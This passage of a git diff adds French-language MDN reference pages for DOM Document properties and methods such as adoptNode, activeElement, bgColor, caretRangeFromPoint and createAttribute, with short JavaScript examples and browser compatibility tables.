+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/document/activeelement/index.html b/files/fr/web/api/document/activeelement/index.html
new file mode 100644
index 0000000000..9c165337e8
--- /dev/null
+++ b/files/fr/web/api/document/activeelement/index.html
@@ -0,0 +1,24 @@
+---
+title: document.activeElement
+slug: Web/API/Document/activeElement
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/DocumentOrShadowRoot/activeElement
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>Renvoie l'élément qui dispose actuellement du focus.</p>
+<p>{{ Note("Cet attribut fait partie de la spécification HTML 5 encore en développement.") }}</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval">var elemCourant = document.activeElement;
+</pre>
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#focus-management">Focus management</a> (brouillon de travail HTML 5)</li>
+</ul>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/document.activeElement", "es": "es/DOM/element.activeElement", "ja": "ja/DOM/document.activeElement", "pl": "pl/DOM/document.activeElement" } ) }}</p>
diff --git a/files/fr/web/api/document/adoptnode/index.html b/files/fr/web/api/document/adoptnode/index.html
new file mode 100644
index 0000000000..959e060387
--- /dev/null
+++ b/files/fr/web/api/document/adoptnode/index.html
@@ -0,0 +1,68 @@
+---
+title: Document.adoptNode()
+slug: Web/API/Document/adoptNode
+tags:
+  - API
+  - DOM
+  - Document
+  - Méthodes
+  - Noeuds
+  - Propriétaire
+translation_of: Web/API/Document/adoptNode
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div> </div>
+
+<p><span id="result_box" lang="fr"><span>Adopte un noeud.</span> <span>Le noeud (et son sous-arbre) est supprimé du document dans lequel il se trouve (le cas échéant) et son </span></span> <code><a href="https://developer.mozilla.org/fr/docs/Web/API/Node/ownerDocument" title="DOM/Node.ownerDocument">ownerDocument</a></code> <span lang="fr"><span> (<em>document propriétaire</em>) est remplacé par le document en cours.</span> <span>Le noeud peut ensuite être inséré dans le document en cours.</span></span></p>
+
+<p><strong>Pris en charge depuis Gecko 1.9 (Firefox 3)</strong></p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre><var>node</var> = <em>document</em>.adoptNode(<var>externalNode</var>);
+</pre>
+
+<dl>
+ <dt><code><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span>node</code></dt>
+ <dd>est le noeud adopté  qui a maintenant ce document en tant que son <code><a href="/en-US/docs/DOM/Node.ownerDocument" title="DOM/Node.ownerDocument">ownerDocument</a></code> (<em>document propriétaire</em>). Le <a href="/en-US/docs/DOM/Node.parentNode"><code>parentNode</code></a> du noeud est <code>null</code>, car il n'a pas encore été inséré dans l'arborescence du document.  Notez que <code>node</code> et <code>externalNode</code> sont le même objet après cet appel.<span style="display: none;">  </span><span style="display: none;"> </span></dd>
+ <dt><code>externalNode</code></dt>
+ <dd>est le noeud à adopter existant dans un autre document.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var iframe = document.getElementById('my-iframe');
+var iframeImages = iframe.contentDocument.getElementsByTagName('img');
+
+var newParent = document.getElementByTagName('images');
+
+for (var i = 0; i &lt; iframeImages.length; i++) {
+    newParent.appendChild(document.adoptNode(iframeImages[i]));
+}
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>En général l'appel de <code>adoptNode</code> peut échouer en raison du nœud source provenant d'une implémentation différente, mais cela ne devrait pas poser de problème avec les implémentations du navigateur.</p>
+
+<p></p><p>Les nœuds provenant de documents externes doivent être clonés à l'aide de <a href="/fr/docs/Web/API/Document/importNode" title="La méthode Document importNode() crée une nouvelle copie du Node ou DocumentFragment spécifié à partir d'un autre document, afin qu'il puisse être inséré dans le document actuel. Il n'est pas encore inclus dans l'arbre des documents; Pour ce faire, vous devez appeler une méthode telle que appendChild () ou insertBefore ()."><code>document.importNode()</code></a> (ou adoptés avec
+    <a href="/fr/docs/Web/API/Document/adoptNode" title="Adopte un noeud. Le noeud (et son sous-arbre) est supprimé du document dans lequel il se trouve (le cas échéant) et son  ownerDocument  (document propriétaire) est remplacé par le document en cours. Le noeud peut ensuite être inséré dans le document en cours."><code>document.adoptNode()</code></a>) avant de pouvoir être insérés dans le document courant. Pour en savoir plus sur les problèmes
+    de <a href="/fr/docs/Web/API/Node/ownerDocument" title="La propriété en lecture seule Node.ownerDocument renvoie l'objet document de niveau supérieur pour ce nœud."><code>Node.ownerDocument</code></a>, consultez la <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">FAQ DOM du W3C</a> (en anglais).</p>
+
+    <p>Gecko n'obligeait pas à utiliser <a href="/fr/docs/Web/API/Document/importNode" title="La méthode Document importNode() crée une nouvelle copie du Node ou DocumentFragment spécifié à partir d'un autre document, afin qu'il puisse être inséré dans le document actuel. Il n'est pas encore inclus dans l'arbre des documents; Pour ce faire, vous devez appeler une méthode telle que appendChild () ou insertBefore ()."><code>document.importNode()</code></a> et <a href="/fr/docs/Web/API/Document/adoptNode" title="Adopte un noeud. Le noeud (et son sous-arbre) est supprimé du document dans lequel il se trouve (le cas échéant) et son  ownerDocument  (document propriétaire) est remplacé par le document en cours. Le noeud peut ensuite être inséré dans le document en cours."><code>document.adoptNode()</code></a> avant sa version 1.9. Depuis les versions 1.9
+    alphas, si un nœud n'est pas adopté ou importé avant d'être utilisé dans un autre document, l'exception
+    <code>WRONG_DOCUMENT_ERR</code> est déclenchée (<code>NS_ERROR_DOM_WRONG_DOCUMENT_ERR</code>). implémentation dans le <a class="external" href="https://bugzilla.mozilla.org/show_bug.cgi?id=47903" rel="noopener" title="FIXED: WRONG_DOCUMENT_ERR not being thrown">bug 47903</a>.</p><p></p>
+
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Document3-adoptNode">DOM Level 3 Core: Document.adoptNode</a></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/document.importNode">document.importNode</a></li>
+</ul>
diff --git a/files/fr/web/api/document/alinkcolor/index.html b/files/fr/web/api/document/alinkcolor/index.html
new file mode 100644
index 0000000000..81ca413e65
--- /dev/null
+++ b/files/fr/web/api/document/alinkcolor/index.html
@@ -0,0 +1,38 @@
+---
+title: Document.alinkColor
+slug: Web/API/Document/alinkColor
+tags:
+  - API
+  - HTML DOM
+  - Obsolete
+  - Propriété
+  - Reference
+translation_of: Web/API/Document/alinkColor
+---
+<div>{{APIRef("DOM")}}{{Deprecated_header}}</div>
+
+<p>Retourne ou définit la couleur d'un lien actif dans le corps du document. Un lien hypertexte est actif durant le temps entre les événements <code>mousedown</code> et <code>mouseup</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>color</var> = <var>document</var>.alinkColor;
+<var>document</var>.alinkColor = <var>color</var>;
+</pre>
+
+<p><var>color</var> est un echaîne de caractère contenant le nom de la couleur en anglais(exemple., <code>blue</code> pour bleu, <code>darkblue</code> pour bleu foncé, etc.) ou la valeur hexadécimal de la couleur (exemple, <code>#0000FF</code>)</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>La valeur par défaut pour cette propriété est rouge (<code>#ee000</code> en hexadécimal) sur Mozilla Firefox.</p>
+
+<p><code>document.alinkColor</code> est obsolète dans <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML</a> (lien en anglais). Une alternative est le sélecteur CSS {{Cssxref(":active")}}.</p>
+
+<p>Une autre alternative est <code>document.body.aLink</code>, même si elle est <a class="external" href="http://www.w3.org/TR/html401/struct/global.html#adef-alink">obsolète dans HTML 4.01</a> (lien en anglais) en faveur de l'alternative CSS ci-dessus.</p>
+
+<p><a href="/fr/docs/Mozilla/Gecko">Gecko </a>supporte <code>alinkColor</code>/<code>:active</code> et {{Cssxref(":focus")}}. Internet Explorer 6 et 7 supportent <code>alinkColor</code>/<code>:active</code> seulement pour la <a href="/fr/docs/Web/HTML/Element/a">balise HTML des liens (&lt;a&gt;)</a> et le comportement est le même que <code>:focus</code> sur Gecko. Il n'y a pas de support pour <code>:focus</code> sur IE.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité sur cette page est généré depuis des données structurées. Si vous voulez contribuer à améliorer ces données, merci de vérifier la page <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et de nous envoyer une requête de mise à jour. Lien en anglais en revanche.</div>
+
+<p>{{Compat("api.Document.alinkColor")}}</p>
diff --git a/files/fr/web/api/document/applets/index.html b/files/fr/web/api/document/applets/index.html
new file mode 100644
index 0000000000..dfbb22d9b7
--- /dev/null
+++ b/files/fr/web/api/document/applets/index.html
@@ -0,0 +1,17 @@
+---
+title: Document.applets
+slug: Web/API/Document/applets
+translation_of: Web/API/Document/applets
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Résumé</h3>
+<p><code>applets</code> retourne une liste ordonnée des applets contenus dans un document.</p>
+<h3 id="Syntax" name="Syntax">Syntaxe</h3>
+<pre class="eval"><em>nodeList</em> = document.applets
+</pre>
+<h3 id="Example" name="Example">Exemple</h3>
+<pre class="eval">// ( Si vous savez que le second applet est celui que vous voulez )
+my_java_app = document.applets[1];
+</pre>
+<h3 id="Specification" name="Specification">Spécification</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-85113862">DOM Level 2 HTML: applets</a></p>
diff --git a/files/fr/web/api/document/bgcolor/index.html b/files/fr/web/api/document/bgcolor/index.html
new file mode 100644
index 0000000000..b379774259
--- /dev/null
+++ b/files/fr/web/api/document/bgcolor/index.html
@@ -0,0 +1,35 @@
+---
+title: Document.bgColor
+slug: Web/API/Document/bgColor
+translation_of: Web/API/Document/bgColor
+---
+<p>{{APIRef("DOM")}} {{ Deprecated_header() }}</p>
+
+<p>La propriété obsolète <code>bgColor</code> renvoie ou déinit la couleur de fond (background-color) du document courant.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>color</em> = document.bgColor
+document.bgColor =<em>color</em>
+</pre>
+
+<h3 id="Parametres">Parametres</h3>
+
+<ul>
+ <li><code>color</code> est une chaîne de caractères représentant la couleur comme un mot (e.g., "red") ou une valeur hexadécimale (e.g., "<code>#ff0000</code>").</li>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="eval">document.bgColor = "darkblue";
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>La valeur par défaut pour cette propriété sur Firefox est le blanc (<code>#ffffff</code> en hexadécimal).</p>
+
+<p><code>document.bgColor</code> est obsolète dans le <a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Niveau 2 HTML</a>. L'alternative recommandée est l'utilisation du style CSS {{Cssxref("background-color")}} qui peut être accessible via le DOM avec <code>document.body.style.backgroundColor</code>. Une autre alternative est <code>document.body.bgColor</code>, mais c'est aussi obsolète dans HTML 4.01 en faveur de l'alternative CSS.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Document.bgColor")}}</p>
diff --git a/files/fr/web/api/document/body/index.html b/files/fr/web/api/document/body/index.html
new file mode 100644
index 0000000000..65b872d225
--- /dev/null
+++ b/files/fr/web/api/document/body/index.html
@@ -0,0 +1,32 @@
+---
+title: document.body
+slug: Web/API/Document/body
+tags:
+  - DOM
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/Document/body
+---
+<div>
+ {{ApiRef}}</div>
+<h2 id="Summary" name="Summary">Résumé</h2>
+<p>Retourne l'élément <code>&lt;body&gt;</code> ou <code>&lt;frameset&gt;</code> du document courant.</p>
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+<pre class="syntaxbox"><em>var objRef</em> = document.body;
+document.body = <em>objRef;</em></pre>
+<h2 id="Example" name="Example">Exemple</h2>
+<pre class="brush:js">// dans le HTML: &lt;body id="ancienElementBody"&gt;&lt;/body&gt;
+alert(document.body.id); // "ancienElementBody"
+
+var unNouvelElementBody = document.createElement("body");
+
+unNouvelElementBody .id = "nouvelElementBody";
+document.body = unNouvelElementBody ;
+alert(document.body.id); // "nouvelElementBody"
+</pre>
+<h2 id="Notes" name="Notes">Notes</h2>
+<p><code>document.body</code> est l'élément dans lequel le contenu du document est situé. Dans les documents avec un élément <code>&lt;body&gt;</code> celui-ci est retourné, et dans les documents de type frameset l'élément <code>&lt;frameset&gt;</code> le plus extérieur est retourné.</p>
+<p>Même si body est modifiable, lui affecter une nouvelle valeur retire tous les éléments enfants du <code>&lt;body&gt;</code> existant.</p>
+<h2 id="Specification" name="Specification">Spécification</h2>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-56360201">DOM Level 2 HTML: HTMLDocument.body</a></li>
+</ul>
diff --git a/files/fr/web/api/document/caretrangefrompoint/index.html b/files/fr/web/api/document/caretrangefrompoint/index.html
new file mode 100644
index 0000000000..02ec1616a9
--- /dev/null
+++ b/files/fr/web/api/document/caretrangefrompoint/index.html
@@ -0,0 +1,144 @@
+---
+title: Document.caretRangeFromPoint()
+slug: Web/API/Document/caretRangeFromPoint
+tags:
+  - API
+  - DOM
+  - Document
+  - Insertion
+  - Méthode
+translation_of: Web/API/Document/caretRangeFromPoint
+---
+<p>{{APIRef("DOM")}}{{Non-standard_header}} </p>
+
+<p>La méthode <code><strong>caretRangeFromPoint()</strong></code> de l'interface {{domxref("Document")}} renvoie un objet "Range" (<em>chaîne</em>) pour le fragment de document aux coordonnées spécifiées.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var <em>range</em> = <em>document</em>.caretRangeFromPoint(float <em>x</em>, float <em>y</em>);
+</pre>
+
+<h3 id="Retourne">Retourne</h3>
+
+<p>Une des réponses suivantes :</p>
+
+<ul>
+ <li>Un {{domxref("Range")}}.</li>
+ <li><code>Null</code> si <strong>x</strong> ou <strong>y</strong> sont négatifs, hors de la fenêtre, ou s'il n'y a pas de noeud d'entrée de texte.</li>
+</ul>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>x</dt>
+ <dd>Une position horizontale dans la fenêtre courante.</dd>
+ <dt>y</dt>
+ <dd>Une position verticale <span class="short_text" id="result_box" lang="fr"><span>dans la fenêtre courante.</span></span></dd>
+</dl>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>Démonstration de base : lorsque vous cliquez dans un paragraphe, insérez un saut de ligne à la position du curseur :</p>
+
+<h3 id="Contenu_HTML">Contenu HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Lorem ipsum dolor sit amet, consetetur sadipscing elitr,
+sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat,
+sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum.
+Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.&lt;/p&gt;</pre>
+
+<h3 id="Contenu_JavaScript">Contenu JavaScript</h3>
+
+<pre class="brush: js">function insertBreakAtPoint(e) {
+
+    var range;
+    var textNode;
+    var offset;
+
+    if (document.caretPositionFromPoint) {
+        range = document.caretPositionFromPoint(e.clientX, e.clientY);
+        textNode = range.offsetNode;
+        offset = range.offset;
+
+    } else if (document.caretRangeFromPoint) {
+        range = document.caretRangeFromPoint(e.clientX, e.clientY);
+        textNode = range.startContainer;
+        offset = range.startOffset;
+    }
+
+    // divise seulement les TEXT_NODE (<em>noeuds texte</em>)
+    if (textNode &amp;&amp; textNode.nodeType == 3) {
+        var replacement = textNode.splitText(offset);
+        var br = document.createElement('br');
+        textNode.parentNode.insertBefore(br, replacement);
+    }
+}
+
+var paragraphs = document.getElementsByTagName("p");
+for (i=0 ; i &lt; paragraphs.length; i++) {
+    paragraphs[i].addEventListener("click", insertBreakAtPoint, false);
+}</pre>
+
+<p>{{ EmbedLiveSample('Example', '', '', '', 'Web/API/Document/caretRangeFromPoint') }}</p>
+
+<p> </p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>20+</td>
+   <td>{{CompatNo()}}</td>
+   <td>12</td>
+   <td>15+</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
diff --git a/files/fr/web/api/document/characterset/index.html b/files/fr/web/api/document/characterset/index.html
new file mode 100644
index 0000000000..ac0462a002
--- /dev/null
+++ b/files/fr/web/api/document/characterset/index.html
@@ -0,0 +1,56 @@
+---
+title: Document.characterSet
+slug: Web/API/Document/characterSet
+tags:
+  - API
+  - DOM
+  - Document
+  - Property
+  - Read-only
+  - Reference
+translation_of: Web/API/Document/characterSet
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p><code><strong>Document.characterSet</strong></code> <span id="result_box" lang="fr"><span>propriété en lecture seule, renvoie l'encodage du document en cours</span></span>. Un encodage décrit l'ensemble des caractères possibles et la façon de décoder les octets en ces caractères.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La propriété <code>document.charset</code> et <code>document.inputEncoding</code> sont les alias de <code>document.characterSet</code>. Ne plus les utiliser.</p>
+</div>
+
+<p>Les utilisateurs peuvent surcharger l'encodage indiqué pour le document (transmis par l'en-tête {{HTTPHeader("Content-Type")}} ou via le {{HTMLElement("meta")}} : <code>&lt;meta charset="utf-8"&gt;</code>) grâce au menu <kbd>Affichage → Encodage du texte</kbd>. Cela peut notamment permettre de corriger le comportement d'un document dont l'encodage indiqué est incorrect.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>string</em> = document.characterSet</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: html">&lt;button onclick="console.log(document.characterSet);"&gt;
+  Affiche le jeu de caractère
+&lt;/button&gt;
+&lt;!-- logs document's character set, such as "ISO-8859-1" or "UTF-8" --&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Etat</th>
+   <th>Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-characterset', 'characterSet')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Document.characterSet")}}</p>
diff --git a/files/fr/web/api/document/clear/index.html b/files/fr/web/api/document/clear/index.html
new file mode 100644
index 0000000000..a8489b0248
--- /dev/null
+++ b/files/fr/web/api/document/clear/index.html
@@ -0,0 +1,37 @@
+---
+title: Document.clear()
+slug: Web/API/Document/clear
+tags:
+  - API
+  - Deprecated
+  - Document
+  - HTML DOM
+  - Method
+  - NeedsExample
+  - NeedsMarkupWork
+  - NeedsSpecTable
+  - Reference
+translation_of: Web/API/Document/clear
+---
+<p>{{APIRef("DOM")}}{{ Deprecated_header() }}</p>
+
+<p>Cette méthode est utilisée pour effacer entièrement le document visé dans les anciennes versions (pre-1.0) de Mozilla.</p>
+
+<p>Dans les versions récentes des applications basées sur Mozilla ainsi que sur Internet Explorer et Netscape 4, cette méthode ne fait rien.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="eval">document.clear()
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/html/#dom-document-clear" title="http://www.whatwg.org/html/#dom-document-clear">HTML5</a></li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Document.clear")}}</p>
diff --git a/files/fr/web/api/document/compatmode/index.html b/files/fr/web/api/document/compatmode/index.html
new file mode 100644
index 0000000000..23cd1c1dbd
--- /dev/null
+++ b/files/fr/web/api/document/compatmode/index.html
@@ -0,0 +1,53 @@
+---
+title: document.compatMode
+slug: Web/API/Document/compatMode
+tags:
+  - API
+  - DOM
+  - Propriété
+  - Reference
+translation_of: Web/API/Document/compatMode
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>Indique si le document est affiché en mode dégradé (<a href="https://developer.mozilla.org/fr/docs/Mode_quirks_de_Mozilla" title="en/Mozilla's Quirks Mode">Quirks mode</a>) ou dans le respect des standards.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval"><em>mode</em> = document.compatMode
+</pre>
+
+<h2 id="Valeurs">Valeurs</h2>
+
+<ul>
+ <li><code>"BackCompat"</code> si le document est a<span style="display: none;"> </span>ffiché en mode<span style="display: none;"> </span><span style="display: none;"> </span> "quirks" ;<span style="display: none;"> </span></li>
+</ul>
+
+<dl>
+ <dt>mode</dt>
+ <dd>est une  valeur énumérée qui peut être :</dd>
+</dl>
+
+<ul>
+ <li><code>"CSS1Compat"</code> si le document est affiché en mode "no-quirks" (aussi connu sous le nom de mode "standard") ou "limited-quirks" (mo<span style="display: none;"> </span>de "proche du standard").</li>
+</ul>
+
+<dl>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> <span id="result_box" lang="fr"><span>tous ces modes sont maintenant définis dans les normes, de sorte que les anciens «standards» et «presque standards» sont absurdes et ne sont plus utilisés dans les normes.</span></span></p>
+</div>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="eval">if (document.compatMode == "BackCompat") {
+  // en mode Quirks
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<ul>
+ <li><a class="external" href="http://dom.spec.whatwg.org/#dom-document-compatmode" title="http://dom.spec.whatwg.org/#dom-document-compatmode">DOM: Document.compatMode</a></li>
+</ul>
diff --git a/files/fr/web/api/document/contenttype/index.html b/files/fr/web/api/document/contenttype/index.html
new file mode 100644
index 0000000000..3301c615c1
--- /dev/null
+++ b/files/fr/web/api/document/contenttype/index.html
@@ -0,0 +1,30 @@
+---
+title: Document.contentType
+slug: Web/API/Document/contentType
+tags:
+  - API
+  - DOM
+  - Document
+  - MIME
+  - Propriétés
+  - Rendu
+translation_of: Web/API/Document/contentType
+---
+<p>{{ ApiRef("DOM") }}{{Non-standard_header}}</p>
+
+<p>Renvoie le type MIME dans lequel le document est rendu. Il peut provenir d'en-têtes HTTP ou d'autres sources d'informations MIME et peut être affecté par les conversions automatiques de type effectuées par le navigateur ou les extensions.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval"><var>contentType</var> = <var>document</var>.contentType;
+</pre>
+
+<p><code>contentType</code> est une propriété en lecture seule.</p>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>La  propriété n'est pas affectée par les balises META.</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p>{{SpecName('DOM WHATWG','#dom-document-contenttype','Document.contenttype')}}</p>
diff --git a/files/fr/web/api/document/createattribute/index.html b/files/fr/web/api/document/createattribute/index.html
new file mode 100644
index 0000000000..fa0f93d1e0
--- /dev/null
+++ b/files/fr/web/api/document/createattribute/index.html
@@ -0,0 +1,91 @@
+---
+title: document.createAttribute
+slug: Web/API/Document/createAttribute
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Reference
+translation_of: Web/API/Document/createAttribute
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>La méthode <code><strong>Document.createAttribute()</strong></code> crée un nouveau nœud d'attribut et le renvoie. L'objet a créé un noeud implémentant l'interface {{domxref("Attr")}}. Le DOM   n'impose pas le type d'attribut à ajouter à un élément particulier de cette manière.  </p>
+
+<div class="note">
+<p>  <strong>Note : </strong>La chaîne de caractères donnée dans le paramètre est convertie en minuscules.  </p>
+</div>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval"><em>attribut</em> = document.createAttribute(nom)
+</pre>
+
+<h3 id="Param.C3.A8tres" name="Param.C3.A8tres">Paramètres</h3>
+
+<ul>
+ <li><code>nom</code> est une chaîne de caractères contenant le nom de l'attribut.</li>
+</ul>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nœud {{domxref("Attr")}}.</p>
+
+<h3 id="Exceptions_levées">Exceptions levées</h3>
+
+<ul>
+ <li><code>INVALID_CHARACTER_ERR</code>  si le paramètre contient un caractère invalide pour un attribut XML.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+
+<pre class="brush:js">var node = document.getElementById("div1");
+var a = document.createAttribute("my_attrib");
+a.value = "newVal";
+node.setAttributeNode(a);
+console.log(node.getAttribute("my_attrib")); // "newVal"
+</pre>
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="spectable standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-document-createattribute','Document.createAttribute()')}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>  Comportement précis avec des caractères majuscules.  </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#ID-1084891198','Document.createAttribute()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Pas de modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','core.html#ID-1084891198','Document.createAttribute()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Pas de modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','level-one-core.html#ID-1084891198','Document.createAttribute()')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Document.createAttribute")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Document.createElement()")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/createcdatasection/index.html b/files/fr/web/api/document/createcdatasection/index.html
new file mode 100644
index 0000000000..ea4fb083ea
--- /dev/null
+++ b/files/fr/web/api/document/createcdatasection/index.html
@@ -0,0 +1,52 @@
+---
+title: Document.createCDATASection()
+slug: Web/API/Document/createCDATASection
+tags:
+  - API
+  - Création
+  - DOM
+  - Document
+  - Méthode
+  - Section
+  - XML
+  - données
+translation_of: Web/API/Document/createCDATASection
+---
+<div>{{APIRef("DOM")}}</div>
+
